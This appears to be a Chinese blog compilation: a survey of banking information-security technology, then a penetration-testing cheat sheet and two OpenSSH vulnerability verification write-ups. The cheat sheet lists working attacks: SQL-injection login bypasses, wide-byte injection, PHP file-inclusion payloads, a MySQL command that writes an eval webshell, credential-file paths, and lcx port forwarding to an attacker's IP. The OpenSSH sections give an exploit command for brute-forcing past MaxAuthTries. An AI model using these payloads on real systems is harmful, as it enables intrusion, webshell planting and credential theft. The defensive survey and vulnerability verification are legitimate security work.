银行信息安全技术发展调研

1.银行业信息安全技术现状

近年来银行业信息化建设发展势头极其迅猛,信息技术已经渗透到银行业务以及管理的全过程,成为了银行赖以生存和发展的核心因素。但是,与信息化建设相伴而生的信息安全问题也变得越来越突出,银行业的信息安全正日益受到社会的关注。

目前，银行业使用的信息安全技术主要包括：物理安全、网络安全、主机安全、应用安全、密码和身份鉴别、数据安全、安全评测、安全运营、灾难备份与恢复等方面。

物理安全

物理安全技术主要包括：物理位置的选择、物理访问的控制、防盗窃和防破坏、防雷击、防火、防水和防潮、电力供应、电磁防护等。

网络安全

网络安全技术主要包括：DMZ区、防火墙、入侵检测系统（IDS）、入侵防御系统（IPS）、虚拟专用网络技术（VPN）、DDOS防御技术。

主机安全

主机安全技术主要包括：系统访问控制、操作系统安全加固、数据库安全配置、防病毒技术、PC终端安全、智能终端安全等。

应用安全

应用安全技术主要包括：HTTPS协议、WEB应用安全加固、移动应用（APP）安全加固、应用架构安全、应用软件安全开发、WEB应用防火墙（WAF）等。

密码和身份鉴别

密码和身份鉴别技术主要包括：密码技术、公钥基础设施（PKI）、国密算法、数字签名、生物鉴别技术、动态口令、多因素认证等。

数据安全

数据安全技术主要包括：数据加密技术、数据存储安全技术、数据防泄密技术（DLP）等。

安全评测

安全评测技术主要包括：漏洞扫描、配置核查、渗透测试等。

安全运营

安全运营技术主要包括：攻击检测、应急响应、攻击溯源、态势感知、安管平台SIEM/SOC、主动防御、威胁情报等。

灾难备份与恢复

灾难备份与恢复技术主要包括：数据存储技术、数据备份技术、同城双活、异地双活等。

2.银行业信息安全技术未来发展方向

随着攻击手法的不断升级，国家自主可控的战略要求以及网络安全法的颁布，传统的防护手段无法有效应对新的安全形势，未来银行业信息安全技术应从以下几个方面入手：

大数据安全分析

传统的安全分析方法大都采用基于规则和特征的分析引擎，必须要有规则库和特征库才能工作，而规则和特征只能对已知的攻击和威胁进行描述，无法识别未知的攻击，或者是尚未被描述成规则的攻击和威胁。面对未知攻击和复杂攻击如APT等，需要更有效的分析方法和技术。
借助大数据安全分析技术，能够更好地解决海量安全要素信息的采集、存储的问题，借助基于大数据分析技术的机器学习和数据挖据算法，能够更加智能地洞悉信息与网络安全的态势，更加主动、弹性地去应对新型复杂的威胁和未知多变的风险。
不仅如此，大数据安全分析的发展还将改变传统的网络安全防护架构、安全分析体系，并深刻变革现有的网络安全业务模式。包括SIEM、日志分析、欺诈检测、威胁情报在内的多种服务都在积极拥抱大数据安全分析技术。大数据安全分析已成为安全业务模式变革的催化剂。

云安全

云安全(Cloud Security)是网络时代信息安全的最新体现，它融合了并行处理、网格计算、未知病毒行为判断等新兴技术和概念，通过网状的大量客户端对网络中软件行为的异常监测，获取互联网中木马、恶意程序的最新信息，传送到Server端进行自动分析和处理，再把病毒和木马的解决方案分发到每一个客户端。
云安全技术应用后，识别和查杀病毒不再仅仅依靠本地硬盘中的病毒库，而是依靠庞大的网络服务，实时进行采集、分析以及处理。整个互联网就是一个巨大的“杀毒软件”，参与者越多，每个参与者就越安全，整个互联网就会更安全。
银行可以充分利用该技术及时获取互联网中木马、恶意程序的最新信息，并向用户分发解决方案。

无线安全

近年来，随着无线网络技术的成熟，越来越多的人们通过无线设备连接到互联网。最早Wi-Fi只用于对IEEE802.11b系列的产品进行认证的描述，全称为Wireless-Fidelity，但现在正在逐步扩展到802.11系列的各类标准，用户也开始使用Wi-Fi或者WIFI指代所有的无线网产品标准, 当前无线网的用户对于随时随地访问自己关心的网络数据要求越来越高，为此，各类场所对无线网的部署也日益流行。布置方有家庭、企业还有运营商,但是无论何种规模的无线网络，都面临着各种各样的安全隐患和威胁。
由于无线网一般是有线网的延伸部分，一旦攻击者进入无线网络，它将成为进一步入侵其他系统的起点。而多数部署的无线网都在防火墙之后，这样无线网的安全隐患就会成为整个安全系统的漏洞，只要攻破无线网络，就会使整个网络暴露在非法用户面前。
随着移动办公的推进，无线安全的研究落实工作已刻不容缓。

物联网安全

物联网时代，黑客的可攻击面愈加广泛，安全问题愈发凸显，传统安全解决方案已经无法进行有效覆盖解决物联网的安全需要。
银行业在物联网防护上需要考虑以“端-管-云”为主的防御思路，物联网终端安全要化境入微，物联网通讯安全需多重隔离，物联网云平台安全在传统云平台安全方案基础上还需加入移动安全维度，实现物联融合的未来安全云平台。全方位、多角度的防御策略，才能将整体力量最大化，从而形成对恶意攻击的有效防护。

人工智能

人工智能在网络安全和防御中的重要性已经被各国政府高度重视，奥巴马政府在2016年10月11日发布了一份题为《人工智能未来》的新闻稿，随附一份《国家人工智能(A.I)研究与开发战略计划》长篇报告。同一天，第三份报告，《为人工智能的未来做好准备》被白宫放出。
在不久的未来，黑客将使用开源的AI和机器学习工具来找寻零日漏洞攻击公司企业，而银行业也同样需要借助人工智能技术的力量来打击网络犯罪，人工智能将成为网络空间安全的全新战场。为了应对挑战，网络安全公司逐渐开始使用人工智能等新技术，优化安全防护体系，开创全新的防护时代。

数据保护

黑客攻击、网络病毒与木马入侵等，很容易造成银行业敏感数据的泄露。同时来自内部的计算机客户端未授权访问、破坏数据完整性、缺乏完整的安全策略、缺乏监控和防范技术手段等，也可能造成关键数据泄密等严重的后果。
如果对整个银行内部员工缺乏集中有效的管理手段，就无法对其进行有效的统计和在线监控，无法有效地防止内部信息的泄露问题，可能通过非法网络访问、非法拷贝等方式窃取机密资料而造成重大损失。银行需要建立全IT架构数据安全统一平台，实现敏感数据从产生、存储、使用、流转、追踪到销毁的整个生命周期安全，保障互联网+银行的流转数据风险管控。

移动应用安全

随着移动通讯网络环境的不断完善以及智能手机的进一步普及，移动互联网应用向用户各类生活需求深入渗透，促进手机上网使用率增长。与此同时，少数 APP 也被不法分子利用，传播暴力恐怖、淫秽色情及谣言等违法违规信息，有的还存在窃取隐私、恶意扣费、诱骗欺诈等损害用户合法权益的行为。安全问题突出的 APP 会窃取用户信息、破坏用户数据、擅自使用付费业务、影响移动终端运行、恶意推送广告等突出安全问题，直接关系着我们的切身利益，甚至会威胁到个人的隐私信息安全。移动应用的“脆弱性”日益彰显，资费消耗、恶意扣费、个人隐私泄露等安全问题频繁发生。
对银行业来说,为强化移动银行的安全环境,可以通过开展多样化的安全检测来实现风险防控,保障客户利益。例如,可以对移动银行应用进行安全评估,发现其安全隐 患,通过升级来弥补漏洞;对移动银行应用进行安全加固,防止二次打包、在应用中植入 恶意代码等恶意行为;开展对移动银行应用的 24 小时监控,一旦发现漏洞攻击或二次打 包等情况,及时进行上报;建设风控体系,及时发现异常支付,并采取应对策略等。

威胁情报

威胁情报就是能帮助企业识别安全威胁并做出明智决定的知识。我们从安全服务厂商、防病毒厂商和安全组织等那里得到的安全预警通告、漏洞通告、威胁通告等等都属于典型的安全威胁情报。
如今已经是动态安全时代，传统设备和方案都是静态的，很难对抗持续变化和升级的攻击手段。威胁情报正好是以动态的手段来对抗攻击者。在整个防御过程中，威胁情报会不断地被收集、丰富、分析、再收集形成一个闭环。所以随着新型威胁的不断增长，网络安全的防御技术也不断进步，也出现了新的安全威胁情报，例如僵尸网络地址情报（Zeus/SpyEye Tracker）、0day漏洞信息、恶意URL地址情报，等等，这些情报对于防守方进行防御十分有帮助。

全加密网络环境下的身份认证

随着技术的发展，内部网络实际上跟互联网一样危险，原因有两点：
1）一旦内网边界被突破，攻击者就很容易访问到企业内部应用。
2）现在的企业越来越多采用移动和云技术，边界保护变得越来越难。
今后的企业安全趋势将不外区分内外网，而是用一致的手段去对待。这种访问模式要求客户端是受控的设备，并且需要用户证书来访问。访问有通过认证服务器、访问代理以及单点登录等手段，由访问控制引擎统一管理，不同用户、不同资源有不同的访问权限控制，对于用户所处位置则没有要求。在这种模式下，信任关系从网络层面迁移到了设备层面。员工只能通过公司提供和管理的设备访问企业应用。对用户或设备的访问级别也可以随时改变。比方说，如果某用户的操作系统未更新的话信任级别可能就会下降。同样的，不同型号的手机的受信任级别也会不一样。而如果员工突然在此前没见过的位置访问企业应用的，可能会拒绝他访问某些资源。

渗透测试碎碎念

渗透过程中一些知识点备忘：

• 00截断适用于白名单绕过，但一定要程序代码有截断漏洞，所以不一定白名单都可以绕过
• nginx php解析漏洞 xxx.jpg/xxx.php xxx.jpg%00.php
• Linux 提权：1.查看系统信息 lsb_release -a uname -a
  2.找exp
• PHP的流 http://192.168.160.13/index.php?url=zip:///var/www/html/upload/0e9982a96ad4cac58adb1a6e74e52aa2.zip%23yijuhua
  zip文件中的内容：<?php _GET[a](_GET[b]);?>

• 登录的万能密码：

    admin' or '1'='  
    admin'#  
    ') or('a'='a  
  

• PHP 默认magic_quotes_gpc打开，转义单引号、双引号，php SQL注入容易出出现在整数型注入
  防范SQL注入，预编译prepare=参数化查询、过滤关键字
  那为什么它这样处理就能预防SQL注入提高安全性呢？其实是因为SQL语句在程序运行前已经进行了预编译，在程序运行时第一次操作数据库之前，SQL语句已经被数据库分析，编译和优化，对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询，当运行时动态地把参数传给PreprareStatement时，即使参数里有敏感字符如 or ‘1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令，如此，就起到了SQL注入的作用了！

• 宽字节注入
  举个例子，假设/1 .php?id=1里面的id参数存在宽字节注人漏洞，当提交/1 .php?id=-1’ and 1=1%23时，MySQL运行的SQL语句为：

    select * from user where id='1\' and 1=1#'   
  

很明显这是没有注人成功的，我们提交的单引号被转义导致没有闭合前面的单引号，但是我们提交/1 .php?id=-1%df’ and 1=1%23时，这时候MySQL运行的 SQL语句为：

select * from user where id='1運' and 1=1#'  

这是由于单引号被自动转义成'，前面的%df和转义字符\反斜杠（%5c)组合成 了%df%5c，也就是“運”字，这时候单引号依然还在，于是成功闭合了前面的单引号。

• 本地文件包含

1.1 截断类型：php %00截断

截断条件：

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

1.2 文件路径长度截断
系统文件路径长度限制：

windows 259个bytes
linux 4096个bytes
php版本为5.3.4以下（具体哪个版本不是很清楚，乌云上kukki写的5.2.8以下，这明显是不对的，因为我测试用的5.2.9）
GPC是否开启没关系

php://input包含:在allow_url_include为On的情况下可用，不受版本限制

http://127.0.0.1/test.php?file=php://input  
<?php phpinfo();?>  

data:流

http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pgo=  

在allow_url_include为On的情况下可用

php://filter/read=convert.base64-encode/resource=   

方法读取源码:基本都能用，路径被限制则失败

• ereg有两个漏洞

%00截断及遇到%00则默认为字符串的结束

当ntf为数组时它的返回值不是FALSE

• mysql 写入一句话木马

    http://127.0.0.1/sqllib/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+    
  

• find / -name index.php 查找网站路径
• select ‘一句话’ into outfile ‘path’
• select load_file(‘path’) 读取文件
• mysql>system 系统命令
• phpmyadmin 2.11.b 2.11.4 存在万能密码

• 获取绝对路径： 1.报错；
  2.找配置文件：

    c:\windows\php.ini  
    c:\windows\system32\inetsrv\MetaBase.xml  
    select 1,load_file('c:\\windows\\system32\\inetsrv\\MetaBase.xml')  
    /etc/php.ini  
    /etc/httpd/conf.d/php.conf  
    /etc/httpd/conf/httpd.conf  
    /usr/local/apache/conf/httpd.conf  
    /usr/local/apache2/conf/httpd.conf  
    system vi /etc/httpd/conf/httpd.conf  
  

搜索 path

• 获取mysql用户名密码
  配置文件：conn、config、data、sql、common、inc
  查看数据库安装路径下mysql文件 /data/mysql/user.myd
  cmd5破解（*开头）

• 菜刀数据库管理可以配置数据库，连接数据库，mysql开启root允许远程连接：

    GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";  
    flush privileges;   
  

• 寻找服务端口

    tasklist /svc  
    netstat -ano  
  

• 端口转发
  lcx.exe -slave 自己IP 2222 127.0.0.1 3389 (将本机3389流量转发到公网IP的2222端口)

自己电脑执行：lxc.exe -listen 2222 4444 (监听本地2222端口流量，转发到4444)

远程连接127.0.0.1:4444

• 菜刀设置cmd终端
  setp: c\test\cmd.exe 解决菜刀无权限执行命令情况

重大威胁事件调查MindMap

工作汇报中梳理了下重大威胁事件调查MindMap，一图胜千言.

OpenSSH <=7.2p1 xauth命令注入漏洞(CVE-2016-3115)研究

工作中扫描发现OpenSSH <=7.2p1 xauth命令注入漏洞(CVE-2016-3115)，对于该漏洞，我们做出如下验证与研究：

1. 漏洞信息

OpenSSH <=7.2p1在实现上存在xauth命令注入漏洞，可导致绕过forced-command及/bin/false。

2.漏洞研究与验证：
AIX和Linux在创建用户时，useradd命令可以指定/bin/false选项，意思是禁止该用户以任何形式登陆系统，当选择该选项时，用户尝试ssh远程服务器将会禁止登陆。forced-command配置可以使ssh client端登陆服务器时运行指定的命令。该漏洞可以绕过这两个限制，OpenSSH低于7.2p1版本的都受此漏洞影响。
测试环境：

首先创建一个用户ln，并且指定/bin/false:

Useradd  -m -s /bin/false ln  

然后为用户ln设置密码：

Passwd ln  

OK，查看一下/etc/passwd 看用户是否创建成功：

cat /etc/passwd  

用户ln创建成功，并且设置为/bin/false，此时如果用户ln ssh登录服务器时，将不被允许：

因为配置了/bin/false，所以ln任何形式的登陆都不被允许，登录框变灰，但利用该漏洞可以成功绕过该限制，详细poc参见附件（需要python环境），我们在client端运行该poc：

Python poc.py xx.188.197.38 22 ln Aa-11111  

成功绕过/bin/false登陆限制，如果OpenSSH开启ForwardX11选项，我们可以进一步注入xauth命令，执行.readfile，查看/etc/passwd文件：

命令执行成功，成功读取/etc/passwd文件内容。

3.总结：

该漏洞可以绕过登陆限制，执行命令，并且已有成熟的poc，利用较为容易，具有一定的风险，建议升级至OpenSSH最新版本7.2p1。

Openssh MaxAuthTries限制绕过漏洞(CVE-2015-5600)的研究与验证

工作中扫描发现Openssh MaxAuthTries限制绕过漏洞(CVE-2015-5600)，对于该漏洞，我们做出如下验证与研究：

1. 漏洞信息

OpenSSH 6.9及之前版本的sshd中的auth2-chall.c文件中的‘kbdint_next_device’函数存在安全漏洞，该漏洞源于程序没有正确限制处理单链接中的keyboard-interactive设备。远程攻击者可借助ssh -oKbdInteractiveDevices选项中较长且重复的列表利用该漏洞实施暴力破解攻击，或造成拒绝服务（CPU消耗）。

简单来说，OpenSSH软件被爆出一个简单的高危的漏洞，攻击者可以在短时间内进行数千次的登录尝试。

2.漏洞研究与验证：
一般OpenSSH软件允许3到6次的密码登陆尝试，如果都登陆失败，连接将会断开，我们在311测试机中安装了redhat6.5进行测试：
OpenSSH版本 5.3p1

如图所示，尝试6次错误的登陆密码后，连接断开了。

但是这个漏洞会允许攻击者执行大量的登录尝试。对于使用键盘交互认证模式的OpenSSH服务器，包括FreeBSD Linux，黑客都可以实施暴力破解。Redhat官网对该漏洞做出如下说明：

It was found that OpenSSH would allow an attacker to request a large number of keyboard-interactive devices when entering a password, which could allow a remote attacker to bypass the MaxAuthTries limit defined in the sshd_config file.

This flaw only affects OpenSSH configurations that have the ‘KbdInteractiveAuthentication’ configuration option set to ‘yes’. By default, this option has the same value as the ‘ChallengeResponseAuthentication’ option.

也就是说，该漏洞仅仅影响支持键盘交互认证模式的OpenSSH服务器，即/etc/ssh/sshd_config 文件中ChallengeResponseAuthentication为yes的OpenSSH服务器。

我们将测试redhat服务器/etc/ssh/sshd_config 文件中ChallengeResponseAuthentication修为yes

根据网上的POC：

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost  

测试发现，我们可以尝试多次密码尝试，直至登陆成功：

因此，版本小于等于6.9，并且支持键盘交互认证模式的OpenSSH受该漏洞影响，存在暴力破解风险。
快速验证系统是否受影响方法，用verbose模式登陆，如：

$ ssh -v root@127.0.0.1  

如果发现包含”keyboard-interactive”，系统即有可能受该漏洞影响，否则不受该漏洞影响。 Redhat官网声明：
Statement:
This issue does not affect the default OpenSSH sshd configuration in Red Hat Enterprise Linux 4, 5, 6 and 7.
Redhat默认配置是不受该漏洞影响的。

3.总结：

版本小于等于6.9，并且支持键盘交互认证模式的OpenSSH受该漏洞影响，存在暴力破解风险，Redhat默认配置不受该漏洞影响。建议关闭键盘交互模式，避免遭受该漏洞影响。